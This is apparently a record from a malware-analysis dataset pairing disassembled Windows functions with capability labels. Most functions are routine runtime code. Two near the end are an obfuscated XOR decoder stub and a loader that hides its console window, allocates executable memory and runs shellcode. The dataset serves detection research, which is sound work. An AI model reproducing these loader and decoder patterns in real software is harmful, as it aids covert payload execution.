joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416940
Capabilities:
Hash data using murmur3

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x416b6b
sub esp, 0x1c
mov eax, dword [esp + 0x20]
test eax, 3
jne 0x416b54
movzx edx, byte [0x4e98ab]
mov ebx, dword [esp + 0x2c]
mov ebp, dword [ebx + 0x2c]
test byte [ebp], al
mov ecx, dword [esp + 0x34]
mov esi, ecx
shr esi, 3
mov edi, ecx
and edi, 7
nop
mov ecx, edi
mov eax, 1
shl eax, cl
lea edi, [ebp + esi]
test dl, dl
jne 0x416a63
mov ecx, dword [0x4e9cb0]
test ecx, ecx
jle 0x4169c0
mov ecx, dword [esp + 0x34]
cmp dword [ebx + 0x5c], ecx
ja 0x4169c0
mov ecx, dword [ebx + 0x28]
test byte [ecx], al
movzx ecx, byte [ecx + esi]
nop
test al, cl
je 0x416add
movzx ecx, byte [esi + ebp]
test al, cl
jne 0x416a5f
nop
mov dword [esp], edi
mov byte [esp + 4], al
call fcn.004023b0
mov eax, dword [0x4c9994]
test byte [eax], al
nop
nop
nop
mov edx, dword [esp + 0x2c]
mov ecx, dword [edx + 0xc]
mov ebx, ecx
shr ebx, 0x10
and ebx, 0x3f
mov ebp, ecx
shr ebp, 0xd
and ebp, 7
mov esi, ecx
mov ecx, ebp
mov edi, 1
shl edi, cl
shr esi, 0x16
mov ebp, dword [eax + esi*4]
test byte [ebp], al
movzx esi, byte [ebp + ebx + 0x21840]
lea ebx, [ebp + ebx + 0x21840]
xchg esi, eax
xchg edi, ebx
test bl, al
xchg edi, ebx
xchg esi, eax
jne 0x416a3a
mov dword [esp], ebx
xchg edi, eax
mov byte [esp + 4], al
xchg edi, eax
call fcn.004023b0
mov edx, dword [esp + 0x2c]
movzx ebx, byte [edx + 0x3e]
test bl, 1
je 0x416a98
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 8]
mov ebx, dword [eax + 0xc]
mov edx, dword [edx + 0x44]
add ecx, edx
mov dword [eax + 8], ecx
adc ebx, 0
mov dword [eax + 0xc], ebx
add esp, 0x1c
ret
add esp, 0x1c
ret
mov ecx, dword [esp + 0x20]
mov dword [esp], ecx
mov edx, dword [esp + 0x24]
mov dword [esp + 4], edx
mov edx, dword [esp + 0x28]
mov dword [esp + 8], edx
mov dword [esp + 0xc], edi
mov byte [esp + 0x10], al
mov eax, dword [esp + 0x34]
mov dword [esp + 0x14], eax
call fcn.0040eae0
movzx eax, byte [esp + 0x18]
test al, al
jne 0x416acf
mov edx, dword [esp + 0x30]
mov ebx, dword [edx]
test ebx, ebx
je 0x416abb
mov eax, dword [ebx + 0xc]
cmp eax, 0x1fc
je 0x416abb
jae 0x416ad3
mov ecx, dword [esp + 0x20]
mov dword [ebx + eax*4 + 0x10], ecx
inc dword [ebx + 0xc]
jmp 0x416acb
mov dword [esp], edx
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.0041d6e0
add esp, 0x1c
ret
add esp, 0x1c
ret
mov ecx, 0x1fc
call fcn.0044d140
lea eax, [0x469c2b]
mov dword [esp], eax
mov dword [esp + 4], 4
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], eax
call fcn.00416b80
lea eax, [0x469c0d]
mov dword [esp], eax
mov dword [esp + 4], 3
mov eax, dword [esp + 0x20]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xffffffff
call fcn.00416b80
mov eax, dword [0x4e99a4]
mov eax, dword fs:[eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov byte [eax + 0x9d], 2
lea eax, [0x46ae46]
mov dword [esp], eax
mov dword [esp + 4], 0x13
call fcn.0042c470
lea eax, [0x46d366]
mov dword [esp], eax
mov dword [esp + 4], 0x23
call fcn.0042c470
nop
call fcn.0044bcf0
jmp fcn.00416940
Function at 0x41b080
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x41b183
sub esp, 0x1c
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 4]
mov eax, dword [esp + 0x24]
cmp eax, ecx
jae 0x41b17d
mov ecx, dword [edx]
lea ecx, [ecx + eax*8]
mov dword [esp], ecx
call fcn.0041b4d0
movzx eax, word [esp + 4]
movzx ecx, word [esp + 6]
mov edx, dword [esp + 8]
movzx ebx, byte [esp + 0xc]
mov word [esp + 0x10], ax
mov word [esp + 0x12], cx
mov dword [esp + 0x14], edx
mov byte [esp + 0x18], bl
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x2c]
lea edx, [esp + 0x10]
mov dword [esp], edx
mov edx, dword [esp + 0x28]
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
call fcn.0041b5b0
movzx eax, byte [esp + 0x18]
test al, 2
je 0x41b131
cmp word [esp + 0x10], 0x1f0
jbe 0x41b131
and eax, 0xfffffffd
nop
mov byte [esp + 0x18], al
mov edx, dword [esp + 0x20]
movzx ebx, byte [edx + 0x30]
test bl, bl
jne 0x41b135
mov ebx, dword [esp + 0x28]
cmp ebx, 0x200
jae 0x41b135
nop
jmp 0x41b135
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 4]
mov eax, dword [esp + 0x24]
cmp eax, ecx
jae 0x41b178
mov ecx, dword [edx]
lea eax, [ecx + eax*8]
movzx ecx, word [esp + 0x10]
movzx edx, word [esp + 0x12]
mov ebx, dword [esp + 0x14]
movzx ebp, byte [esp + 0x18]
mov dword [esp], eax
mov word [esp + 4], cx
mov word [esp + 6], dx
mov dword [esp + 8], ebx
xchg ebp, eax
mov byte [esp + 0xc], al
xchg ebp, eax
call fcn.0041b540
add esp, 0x1c
ret
call fcn.0044d150
call fcn.0044d150
nop
call fcn.0044bcf0
jmp fcn.0041b080
Function at 0x41b190
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x41b2c4
sub esp, 0x20
mov edx, dword [esp + 0x24]
mov ecx, dword [edx + 4]
mov eax, dword [esp + 0x28]
cmp eax, ecx
jae 0x41b2be
mov ecx, dword [edx]
lea ecx, [ecx + eax*8]
mov dword [esp], ecx
call fcn.0041b4d0
movzx eax, word [esp + 4]
movzx ecx, word [esp + 6]
mov edx, dword [esp + 8]
movzx ebx, byte [esp + 0xc]
mov word [esp + 0x14], ax
mov word [esp + 0x16], cx
mov dword [esp + 0x18], edx
mov byte [esp + 0x1c], bl
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0x2c]
lea edx, [esp + 0x14]
mov dword [esp], edx
mov edx, dword [esp + 0x30]
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
call fcn.0041b630
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 4]
mov edx, dword [esp + 0x28]
cmp edx, ecx
jae 0x41b2b7
mov ecx, dword [eax]
lea ecx, [ecx + edx*8]
movzx ebx, word [esp + 0x14]
movzx ebp, word [esp + 0x16]
mov esi, dword [esp + 0x18]
movzx edi, byte [esp + 0x1c]
mov dword [esp], ecx
mov word [esp + 4], bx
mov word [esp + 6], bp
mov dword [esp + 8], esi
xchg edi, eax
mov byte [esp + 0xc], al
xchg edi, eax
call fcn.0041b540
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
lea eax, [ecx + eax - 1]
shl eax, 0xd
mov ecx, dword [esp + 0x28]
shl ecx, 0x16
add eax, ecx
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x24]
cmp dword [ecx + 0x28], eax
jae 0x41b27a
mov dword [ecx + 0x28], eax
lea eax, [ecx + 0x20]
mov dword [esp], eax
call fcn.00425eb0
mov eax, dword [esp + 0x10]
cmp dword [esp + 4], eax
jae 0x41b2b3
mov ecx, dword [esp + 0x24]
add ecx, 0x20
nop
mov dword [esp], ecx
xor ecx, ecx
sub ecx, eax
mov eax, 0
sbb eax, 0
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call fcn.004021c0
add esp, 0x20
ret
mov eax, edx
call fcn.0044d150
call fcn.0044d150
nop
call fcn.0044bcf0
jmp fcn.0041b190
Function at 0x4202a0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4203e4
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call fcn.0041e420
mov eax, dword [esp + 4]
test eax, eax
je 0x4203cd
mov dword [esp + 0xc], eax
lea ecx, [eax + 0x4c]
mov dword [esp + 0x18], ecx
mov edx, dword [0x4e99a4]
mov edx, dword fs:[edx]
mov edx, dword [edx]
mov ebx, dword [edx + 0x18]
nop
inc dword [ebx + 0x7c]
mov edx, dword [edx + 0x18]
mov dword [esp + 0x14], edx
mov dword [esp], eax
call fcn.0041c4f0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0xc]
sub eax, dword [ecx + 0xc]
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x24]
movzx ebx, byte [edx + 6]
mov byte [esp + 0xa], bl
nop
mov ebp, dword [esp + 0x18]
mov dword [esp], ebp
call fcn.00406340
mov eax, dword [esp + 0xc]
lea ecx, [eax + 0x50]
mov edx, dword [esp + 0x10]
movzx ebx, byte [esp + 0xa]
jmp 0x420337
mov ecx, ebp
mov ebp, dword [ecx]
test ebp, ebp
je 0x420362
movzx esi, word [ebp + 4]
cmp esi, edx
jne 0x42034c
cmp byte [ebp + 6], bl
je 0x420357
cmp esi, edx
ja 0x42035e
jne 0x420335
cmp byte [ebp + 6], bl
jbe 0x420335
jmp 0x42035e
mov ebx, 1
jmp 0x420364
xor ebx, ebx
jmp 0x420364
xor ebx, ebx
mov byte [esp + 0xb], bl
test bl, bl
jne 0x420382
mov ebx, dword [esp + 0x24]
mov word [ebx + 4], dx
mov edx, dword [ecx]
mov dword [ebx], edx
mov dword [ecx], ebx
mov dword [esp], eax
call fcn.004201a0
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.00406540
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x7c]
lea edx, [ecx - 1]
nop
mov ebx, dword [0x4e99a4]
mov ebx, dword fs:[ebx]
mov ebx, dword [ebx]
mov dword [eax + 0x7c], edx
cmp ecx, 1
jne 0x4203bd
movzx eax, byte [ebx + 0x65]
test al, al
je 0x4203bd
mov dword [ebx + 8], 0xfffffade
movzx eax, byte [esp + 0xb]
xor eax, 1
mov byte [esp + 0x28], al
add esp, 0x1c
ret
lea eax, [0x46c85e]
mov dword [esp], eax
mov dword [esp + 4], 0x1d
call fcn.0042c470
nop
call fcn.0044bcf0
jmp fcn.004202a0
Function at 0x420870
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4209e0
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 2
ja 0x420970
cmp cl, 1
je 0x420902
cmp cl, 2
jne 0x4209c9
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.00425410
nop
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406340
mov eax, dword [0x4cde84]
sub eax, dword [0x4cde68]
nop
mov dword [0x4cde84], eax
mov eax, dword [0x4cde74]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x4cde74], ecx
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406540
jmp 0x4209c5
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.0040f140
nop
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406340
mov eax, dword [0x4cde5c]
sub eax, dword [0x4cde40]
nop
mov dword [0x4cde5c], eax
mov eax, dword [0x4cde4c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x4cde4c], ecx
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406540
jmp 0x4209c5
cmp cl, 3
jne 0x42097b
mov byte [eax + 8], 1
jmp 0x4209c5
cmp cl, 4
jne 0x4209c9
nop
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406340
mov eax, dword [0x4cded4]
sub eax, dword [0x4cdeb8]
nop
mov dword [0x4cded4], eax
mov eax, dword [0x4cdec4]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0x4cdec4], ecx
nop
nop
lea eax, [0x4cdee0]
mov dword [esp], eax
call fcn.00406540
add esp, 0x14
ret
lea eax, [0x46a882]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.0042c470
nop
call fcn.0044bcf0
jmp fcn.00420870
Function at 0x441140
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4412ba
sub esp, 0x10
mov ecx, dword [esp + 0x18]
test ecx, ecx
jbe 0x4412b0
mov edx, dword [esp + 0x14]
movzx ebx, byte [edx]
test ebx, ebx
jne 0x44119a
movzx ebp, byte [esp + 0x28]
xchg ebp, eax
test al, al
xchg ebp, eax
jne 0x44119a
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov byte [esp + 0x38], 0
add esp, 0x10
ret
test ebx, 0x80
je 0x4411ad
xor eax, eax
xor ebx, ebx
xor ebp, ebp
jmp 0x441287
mov eax, 1
mov ebp, ebx
and ebx, 1
neg ebx
shr ebp, 1
xor ebx, ebp
mov ebp, dword [esp + 0x24]
add dword [ebp], ebx
cmp ecx, eax
jb 0x44127b
sub ecx, eax
mov ebx, dword [esp + 0x1c]
sub ebx, eax
mov ebp, ebx
neg ebx
sar ebx, 0x1f
and eax, ebx
lea ebx, [edx + eax]
test ecx, ecx
jbe 0x441272
movzx edx, byte [edx + eax]
test edx, 0x80
je 0x441200
mov dword [esp + 0xc], ecx
xor eax, eax
xor edx, edx
xor esi, esi
jmp 0x441243
mov eax, 1
cmp eax, ecx
ja 0x441237
mov esi, dword [esp + 0x20]
add dword [esi], edx
sub ebp, eax
sub ecx, eax
mov edx, ebp
xchg ebp, ebx
neg ebx
xchg ebp, ebx
sar ebp, 0x1f
and eax, ebp
add eax, ebx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
mov byte [esp + 0x38], 1
add esp, 0x10
ret
call fcn.0044d1b0
lea esi, [ecx + 7]
mov ecx, dword [esp + 0xc]
cmp eax, ecx
jae 0x44126d
movzx edi, byte [eax + ebx]
xchg edi, eax
mov byte [esp + 0xb], al
xchg edi, eax
and edi, 0x7f
mov ecx, esi
shl edi, cl
inc eax
or edx, edi
movzx edi, byte [esp + 0xb]
xchg edi, eax
test al, 0x80
xchg edi, eax
jne 0x44123c
mov ecx, dword [esp + 0xc]
jmp 0x441205
call fcn.0044d150
xor eax, eax
mov ecx, eax
call fcn.0044d140
call fcn.0044d1b0
lea ebp, [ecx + 7]
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jbe 0x4412ab
movzx esi, byte [eax + edx]
mov edi, esi
and esi, 0x7f
mov ecx, ebp
shl esi, cl
inc eax
or ebx, esi
xchg edi, eax
test al, 0x80
xchg edi, eax
jne 0x441280
mov ecx, dword [esp + 0x18]
jmp 0x4411b2
call fcn.0044d150
xor eax, eax
mov ecx, eax
call fcn.0044d140
nop
call fcn.0044bcf0
jmp fcn.00441140
Function at 0x4452c0
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4453c3
sub esp, 0x28
mov eax, dword [esp + 0x2c]
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov ecx, dword [ecx + 0x58]
mov dword [eax + 0xf0], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
call fcn.004459f0
mov eax, dword [esp + 4]
mov dword [esp + 0x14], eax
lea ecx, [0x460500]
mov dword [esp], ecx
call fcn.00408120
mov eax, dword [esp + 4]
mov dword [eax], 0xffffffff
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [eax + 4], ecx
lea ecx, [0x4cdf9c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 2
mov dword [esp + 0xc], 2
call fcn.00444bd0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + 0x50]
mov ecx, dword [ecx + 0x54]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
mov byte [esp], 0xd
mov dword [esp + 4], 2
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00444020
add esp, 0x28
ret
call fcn.0044bcf0
jmp fcn.004452c0

Function at 0x4466d0
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44676b
sub esp, 0x30
lea ecx, [esp + 0x34]
mov dword [esp + 4], ecx
mov edx, dword [0x4e99a4]
mov edx, dword fs:[edx]
mov edx, dword [edx]
mov dword [esp + 8], 0
lea edi, [esp + 0xc]
xor eax, eax
call fcn.0044d287
lea ecx, [0x446780]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
lea ecx, [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0xc]
mov dword [esp], ecx
call fcn.0044bc00
mov ecx, dword [esp + 8]
mov dword [esp + 0x44], ecx
add esp, 0x30
ret
call fcn.0044bcf0
jmp fcn.004466d0
Function at 0x44a250
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x4e99a4]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44a3b0
sub esp, 0x1c
mov eax, dword [esp + 0x20]
test byte [eax], al
lea ecx, [eax + 0x18]
mov dword [esp + 0x18], ecx
nop
mov dword [esp], ecx
call fcn.00406340
mov eax, dword [esp + 0x20]
movzx ecx, byte [eax + 0x1c]
test cl, cl
jne 0x44a399
mov byte [eax + 0x1c], 1
inc dword [eax + 0x24]
inc dword [eax + 0x60]
mov dword [esp], eax
call fcn.004273f0
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 4], 0x72
mov byte [esp + 8], 0
call fcn.00427860
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x20]
mov dword [esp], ecx
mov dword [esp + 4], 0x77
mov byte [esp + 8], 0
call fcn.00427860
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x10], edx
test ecx, ecx
je 0x44a320
lea ecx, [eax + 0x28]
mov dword [esp], ecx
call fcn.00441cc0
mov eax, dword [0x4e9a80]
test eax, eax
jne 0x44a307
mov eax, dword [esp + 0x20]
jmp 0x44a315
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
call fcn.0044d0e0
mov dword [edi], ecx
mov dword [eax + 0x3c], 0
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 0x78]
test ecx, ecx
je 0x44a357
lea ecx, [eax + 0x64]
mov dword [esp], ecx
call fcn.00441cc0
mov eax, dword [0x4e9a80]
test eax, eax
jne 0x44a342
mov eax, dword [esp + 0x20]
jmp 0x44a350
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x78]
call fcn.0044d0e0
mov dword [edi], ecx
mov dword [eax + 0x78], 0
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], eax
call fcn.00406540
mov eax, dword [esp + 0x14]
test eax, eax
je 0x44a37d
mov dword [esp], eax
mov dword [esp + 4], 3
call fcn.004277a0
mov eax, dword [esp + 0x10]
test eax, eax
je 0x44a395
mov dword [esp], eax
mov dword [esp + 4], 3
call fcn.004277a0
add esp, 0x1c
ret
lea eax, [0x46d555]
mov dword [esp], eax
mov dword [esp + 4], 0x24
call fcn.0042c470
nop
call fcn.0044bcf0
jmp fcn.0044a250
Function at 0x44cfa0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x4e9b60]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x44b72b
je 0x44b77e
cmp ebx, 0x20
jbe 0x44b784
cmp ebx, 0x40
jbe 0x44b7ca
jmp 0x44b86b
test ebx, ebx
je 0x44b774
add eax, 0x10
test ax, 0xff0
je 0x44b760
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x480c40]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x480d40]
jmp 0x44b748
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x44b748
pxor xmm1, xmmword [0x4e9b70]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x4e9b70]
pxor xmm2, xmmword [0x4e9b80]
pxor xmm3, xmmword [0x4e9b90]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x4e9b70]
pxor xmm2, xmmword [0x4e9b80]
pxor xmm3, xmmword [0x4e9b90]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x44b8ca
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x4e98a5], 0
je 0x44cfba
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x44b6f0
jmp fcn.00405190

Function at 0x44de20
Capabilities:
Allocate thread local storage

Disassembly:
mov ebp, esp
mov eax, dword [sym.imp.kernel32.dll_TlsAlloc]
call eax
mov esp, ebp
mov ecx, eax
cmp ecx, 0x40
jb 0x44de3a
mov ecx, 0x14
jmp 0x44de43
shl ecx, 2
add ecx, 0xe10
mov dword [0x4e99a4], ecx
ret
Function at 0x298273e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x298273f0
pop dword [ebp - 0x3c]
mov eax, 0xe49558a
sub eax, 0xe4c6e19a
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x9a95e35d
add dword [ebp - 0x4c], 0xb3bc61ee
mov dword [ebp - 0x48], 0xa09492fd
sub dword [ebp - 0x48], 0x6e6146b8
mov dword [ebp - 0x44], 0x9266a3df
sub dword [ebp - 0x44], 0x461a5fb1
mov dword [ebp - 0x40], 0xcb425cd1
add dword [ebp - 0x40], 0x34bda32f
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x916d4d35
add eax, 0x9818338b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x4d2986ed
add dword [ebp - 0x4c], 0x2748e269
mov dword [ebp - 0x48], 0x7854e186
sub dword [ebp - 0x48], 0x36e88011
mov dword [ebp - 0x44], 0xcc00d16a
add dword [ebp - 0x44], 0x976e9b02
mov dword [ebp - 0x40], 0x17448c4d
sub dword [ebp - 0x40], 0x17448c4d
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xee849594
sub eax, 0xc4ff14dc
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x4cae3
push 0
call eax
mov ecx, 0xf8e456fd
add ecx, 0x71c02d3
xor esi, esi
add esi, eax
mov edi, 0x29897400
add edi, dword [ebp - 0x3c]
mov edx, 0x60782a6
mov ebx, dword [edi]
add dword [ebp - 0x14], 0x760c13af
sub ebx, edx
xor dword [ebp - 4], ecx
mov dword [esi], ebx
add esi, 0xc79940d0
sub esi, 0xc79940cc
add edi, 4
loop 0x29827508
add eax, 0xdfed59f2
add eax, 0x20140021
xor ebx, ebx
add ebx, eax
add eax, 0xbfa0915d
sub eax, 0xbfa09158
mov ecx, 0x77bd7f21
add ecx, 0xb1c280df
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401520
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x24
call dbg.__main
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [ebp - 0x10], 0x970
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4015a3
mov dword [esp], section..rdata
call sym._puts
mov eax, 1
jmp 0x4015ed
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x403020
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
